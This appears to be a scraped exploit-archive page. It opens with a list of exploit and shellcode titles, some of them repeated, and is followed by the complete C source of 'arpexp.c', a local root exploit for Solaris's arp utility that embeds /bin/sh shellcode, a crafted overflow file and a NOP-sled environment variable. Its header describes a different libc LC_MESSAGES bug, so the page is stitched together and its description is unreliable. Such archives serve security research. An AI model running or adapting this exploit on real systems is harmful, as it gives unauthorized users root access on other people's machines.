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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
61 lines
No EOL
1.9 KiB
C
61 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/268/info
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A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
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#include <fcntl.h>
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/* arpexp.c
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arp overflow proof of concept by ahmed@securityfocus.com
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shellcode originally written by Cheez Whiz.
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tested on x86 solaris 7,8beta
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default should work. if not, arg1 = offset. +- by 100's
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Except for shellcode, copyright Security-Focus.com, 11/2000
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*/
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long get_esp() { __asm__("movl %esp,%eax"); }
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int main(int ac, char **av)
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{
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char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
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"\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
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"\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
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"\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
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"\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
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"\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
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"\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
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"\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
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"\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
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"\x73\x68\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff";
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unsigned long magic = 0x8047b78;
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unsigned long r = get_esp() + 600;
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unsigned char buf[300];
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int f;
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if (ac == 2)
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r += atoi(av[1]);
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memset(buf,0x61,sizeof(buf));
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memcpy(buf+52,&magic,4);
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memcpy(buf+76,&r,4);
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f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
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write(f,"1 2 3 4 ",8);
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write(f,buf,sizeof(buf));
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close(f);
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memset(buf,0x90,sizeof(buf));
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memcpy(buf,"LOL=",4);
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memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
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putenv(buf);
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system("/usr/sbin/arp -f /tmp/ypx");
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unlink("/tmp/ypx");
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} |